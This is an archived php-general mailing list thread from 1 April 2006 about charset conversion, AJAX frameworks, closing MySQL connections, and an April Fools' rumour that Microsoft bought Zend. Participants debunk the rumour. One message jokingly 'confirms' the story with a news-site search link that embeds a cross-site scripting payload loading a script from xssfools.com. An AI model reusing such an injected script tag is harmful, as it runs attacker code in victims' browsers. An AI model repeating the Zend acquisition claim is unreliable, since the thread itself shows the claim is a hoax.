php-general Digest 1 Apr 2006 17:45:41 -0000 Issue 4047

2006-04-01 Thread php-general-digest-help
php-general Digest 1 Apr 2006 17:45:41 - Issue 4047 Topics (messages 233040 through 233048): Re: How to debug in CakePHP. 233040 by: John Nichel Re: preg_match 233041 by: chris smith Re: Overloading Limitation- Can Someone Confirm? 233042 by: Jochem Maas iconv

[PHP] iconv returns blank string, not false

2006-04-01 Thread joseph
why is this iconv function not working for me? i am converting $search to euc-kr charset. my conversion code is not working. background and motivation i have to mimic a accept-charset on a form to fake a get request by disguising it as a hyperlink. (my firefox

[PHP] utf8_encode failes?

2006-04-01 Thread Merlin
Hi there, I am trying to encode output with php with uft8_encode(); and then output it to an xml file. Unfortunatelly this does not work as the string that has been encoded by utf8_encode is not valid utf8?! Any ideas how this has happened? Here is a link to this file:

Re: [PHP] iconv returns blank string, not false

2006-04-01 Thread joseph
why is this iconv function not working for me? i am converting $search to euc-kr charset. my conversion code is not working. background and motivation i have to mimic a accept-charset on a form to fake a get request by disguising it as a hyperlink. (my

[PHP] PHP AJAX Framework - Suggestions Please

2006-04-01 Thread Andrei Verovski (aka MacGuru)
Hi, Anyone can suggest me which PHP AJAX framework you are using, for what reason(s), what are pros and cons of your particular choice. I found many, and now facing difficult choice. BTW, how do you pass session id between calls to PHP from JavaScript (cookies or explicit

Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread tedd
I always close the connection right after my query -- force of habit. It's like leaving the toilet seat up, it's only going to get you into trouble. So you close it after every query and then re-open it later for the next query? I don't see that as a good idea. No, you

[PHP] Re: PHP AJAX Framework - Suggestions Please

2006-04-01 Thread Greg Beaver
Andrei Verovski (aka MacGuru) wrote: Hi, Anyone can suggest me which PHP AJAX framework you are using, for what reason(s), what are pros and cons of your particular choice. I found many, and now facing difficult choice. BTW, how do you pass session id between calls to PHP from

[PHP] microsoft PHP ?

2006-04-01 Thread Zouari Fourat
I've just heard about Microsoft deal, the geant bought the Zend platform at 113 million US$. What will be the php future ? it's gonna switch to proprietary licence ? closed source ? or it was a Zend product deal ? (zend studio, platform ...) not affecting the php language in itself ? Does this

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Zouari Fourat
here's the link http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: I've just heard about Microsoft deal, the geant bought the Zend platform at 113 million US$. What will be the php future ? it's gonna

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Adrian
Did you even look at the calendar which date we have today? Correct, April 1st... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Stut
Zouari Fourat wrote: here's the link http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html Seriously... consider the date. -Stut On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: I've just heard about Microsoft deal, the geant bought the Zend platform at 113

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Zouari Fourat
hope that :) On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: here's the link http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html Seriously... consider the date. -Stut On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: I've just heard

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Gerry Danen
Come on, you should have played along... ;-) Gerry On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: here's the link http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html Seriously... consider the date. -Stut On 4/1/06, Stut [EMAIL PROTECTED] wrote:

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Anthony Ettinger
that is f--'d up manI just started liking php5 :( Oh well, f-- this open source garbage. On 4/1/06, Gerry Danen [EMAIL PROTECTED] wrote: Come on, you should have played along... ;-) Gerry On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: here's the link

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Stut
Gerry Danen wrote: Come on, you should have played along... ;-) I'd had my fill by the time that arrived. It seems to me that people go overboard now. Slashdot used to have one a year, and it was always something that was vaguely possible, this year they've even changed the colour scheme on

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Zouari Fourat
:) Gerry not that funny ;) I was affraid :o from the news On 4/1/06, Gerry Danen [EMAIL PROTECTED] wrote: Come on, you should have played along... ;-) Gerry On 4/1/06, Stut [EMAIL PROTECTED] wrote: Zouari Fourat wrote: here's the link

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Stut
Zouari Fourat wrote: :) Gerry not that funny ;) I was affraid :o from the news Rule #1 on the Internet... Never trust any news without a link to an official source Rule #2 on the Internet... Never trust anything you read on April 1st -Stut -- PHP General Mailing List (http://www.php.net/)

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Matt Richards
Zouari Fourat: lol, bet you feel silly now :) Stut wrote: Zouari Fourat wrote: :) Gerry not that funny ;) I was affraid :o from the news Rule #1 on the Internet... Never trust any news without a link to an official source Rule #2 on the Internet... Never trust anything you read on April

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Joe Wollard
Leave poor Zouari alone! I for one think that Microsoft buying Zend would be the best thing to happen to PHP, EVAR! This Rasmus guy didn't even mean for PHP to be what it is, he just wanted something simple and now look at it. It's WAY to complex for an unorganized bunch of hobbyists to maintain.

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Anthony Ettinger
nice one! On 4/1/06, Joe Wollard [EMAIL PROTECTED] wrote: Leave poor Zouari alone! I for one think that Microsoft buying Zend would be the best thing to happen to PHP, EVAR! This Rasmus guy didn't even mean for PHP to be what it is, he just wanted something simple and now look at it. It's WAY

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Stut
Joe Wollard wrote: Leave poor Zouari alone! I for one think that Microsoft buying Zend would be the best thing to happen to PHP, EVAR! This Rasmus guy didn't even mean for PHP to be what it is, he just wanted something simple and now look at it. It's WAY to complex for an unorganized bunch of

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Russell Jones
Are you guys sure, I mean the St Louis Post Dispatch is showing it too... As is Cincinatti.com http://search.cincinnati.com/sp?aff=5keywords=%3Cscript%20src=http://www.xssfools.com/xss.php%3Fy%3Dh917254010%3E%3C/script%3E

[PHP] Today is a special day for phpinfo()

2006-04-01 Thread Ryan A
Hey all, Most of your seasoned vets might already know this but for most of you newcomers run a script with phpinfo() in it and check the php logo on top. Its a little easter egg thats around just for April 1st (thanks go to Zouari Fourat for reminding us) Cheers all! -Ryan -- PHP General

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Kevin Kinsey
Stut wrote: Joe Wollard wrote: Leave poor Zouari alone! I for one think that Microsoft buying Zend would be the best thing to happen to PHP, EVAR! This Rasmus guy didn't even mean for PHP to be what it is, he just wanted something simple and now look at it. It's WAY to complex for an

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Joe Wollard
Sheesh Stut, I thought the - and a happy April fool's to all ;-) would be enough. Of course I'm joking, why would I be on this list if I didn't like open source and PHP in general? Besides, I made fun of Chris and Rasmus specifically because I know they're on this list. They both know they

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Stut
Joe Wollard wrote: Sheesh Stut, I thought the - and a happy April fool's to all ;-) would be enough. Of course I'm joking, why would I be on this list if I didn't like open source and PHP in general? Besides, I made fun of Chris and Rasmus specifically because I know they're on this list. They

Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Jasper Bryant-Greene
tedd wrote: I always close the connection right after my query -- force of habit. It's like leaving the toilet seat up, it's only going to get you into trouble. So you close it after every query and then re-open it later for the next query? I don't see that as a good idea.

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Gerry Danen
On 4/1/06, Stut [EMAIL PROTECTED] wrote: Gerry Danen wrote: Come on, you should have played along... ;-) I'd had my fill by the time that arrived. It seems to me that people go overboard now. Slashdot used to have one a year, and it was always something that was vaguely possible, this year

Re: [PHP] microsoft PHP ?

2006-04-01 Thread Gerry Danen
On 4/1/06, Stut [EMAIL PROTECTED] wrote: Here's assuming that was a joke so I won't get into the factual errors. I wonder how Zend and the other core developers will feel about being referred to as an unorganized bunch of hobbyists. Now that is slander we don't need. Group hug with the Zend

Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread chris smith
On 4/2/06, tedd [EMAIL PROTECTED] wrote: I always close the connection right after my query -- force of habit. It's like leaving the toilet seat up, it's only going to get you into trouble. So you close it after every query and then re-open it later for the next

Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread tedd
At 11:07 AM +1200 4/2/06, Jasper Bryant-Greene wrote: tedd wrote: I always close the connection right after my query -- force of habit. It's like leaving the toilet seat up, it's only going to get you into trouble. So you close it after every query and then re-open it later

Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread tedd
Time. Opening a db connection is time consuming. There are many levels involved (making the connection, authentication, etc).. Even worse if the connection is over tcp/ip because that overhead comes in on top as well. Have you timed it? It would be interesting to actually run a script that

Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Robert Cummings
On Sat, 2006-04-01 at 20:15, tedd wrote: Time. Opening a db connection is time consuming. There are many levels involved (making the connection, authentication, etc).. Even worse if the connection is over tcp/ip because that overhead comes in on top as well. Have you timed it? It would

Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Jasper Bryant-Greene
Robert Cummings wrote: On Sat, 2006-04-01 at 20:15, tedd wrote: It would be interesting to actually run a script that opens, retrieves, and inserts data -- let's say 50k times. What's the time difference between one open, 50k retrieves/inserts, and one close-- as compared 50k opens

Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Robert Cummings
On Sat, 2006-04-01 at 20:48, Jasper Bryant-Greene wrote: Yeah, e.g. I have a database objects layer that means I only write SQL in classes, everything else is just calling object methods. I create the database object at the start of every script but that doesn't necessarily open the

Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Jasper Bryant-Greene
Robert Cummings wrote: On Sat, 2006-04-01 at 20:48, Jasper Bryant-Greene wrote: Yeah, e.g. I have a database objects layer that means I only write SQL in classes, everything else is just calling object methods. I create the database object at the start of every script but that doesn't

Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Robert Cummings
On Sat, 2006-04-01 at 21:39, Jasper Bryant-Greene wrote: Robert Cummings wrote: There's smart lazy programming, and sloppy lazy programming. I don't trust anything magical in PHP. Most of us are familiar with the magic quotes and global vars fiascos *LOL*. But hey, if you can squeeze a

Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Jasper Bryant-Greene
Robert Cummings wrote: On Sat, 2006-04-01 at 21:39, Jasper Bryant-Greene wrote: Robert Cummings wrote: There's smart lazy programming, and sloppy lazy programming. I don't trust anything magical in PHP. Most of us are familiar with the magic quotes and global vars fiascos *LOL*. But hey, if

Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Robert Cummings
On Sat, 2006-04-01 at 21:57, Jasper Bryant-Greene wrote: Robert Cummings wrote: Of course, it wouldn't exactly be a rewrite to make it close the connection at the end of every script before PHP did, if I'm proven wrong and it one day is necessary. I'd only need to change the database

Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread John Nichel
Jasper Bryant-Greene wrote: snip I never close connections; PHP does that for me and has never caused any problems doing that. I don't see it as sloppy programming, it is a documented feature that PHP closes resources such as database connections at the end of the script. It's extremely

Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Jasper Bryant-Greene
John Nichel wrote: Jasper Bryant-Greene wrote: snip I never close connections; PHP does that for me and has never caused any problems doing that. I don't see it as sloppy programming, it is a documented feature that PHP closes resources such as database connections at the end of the script.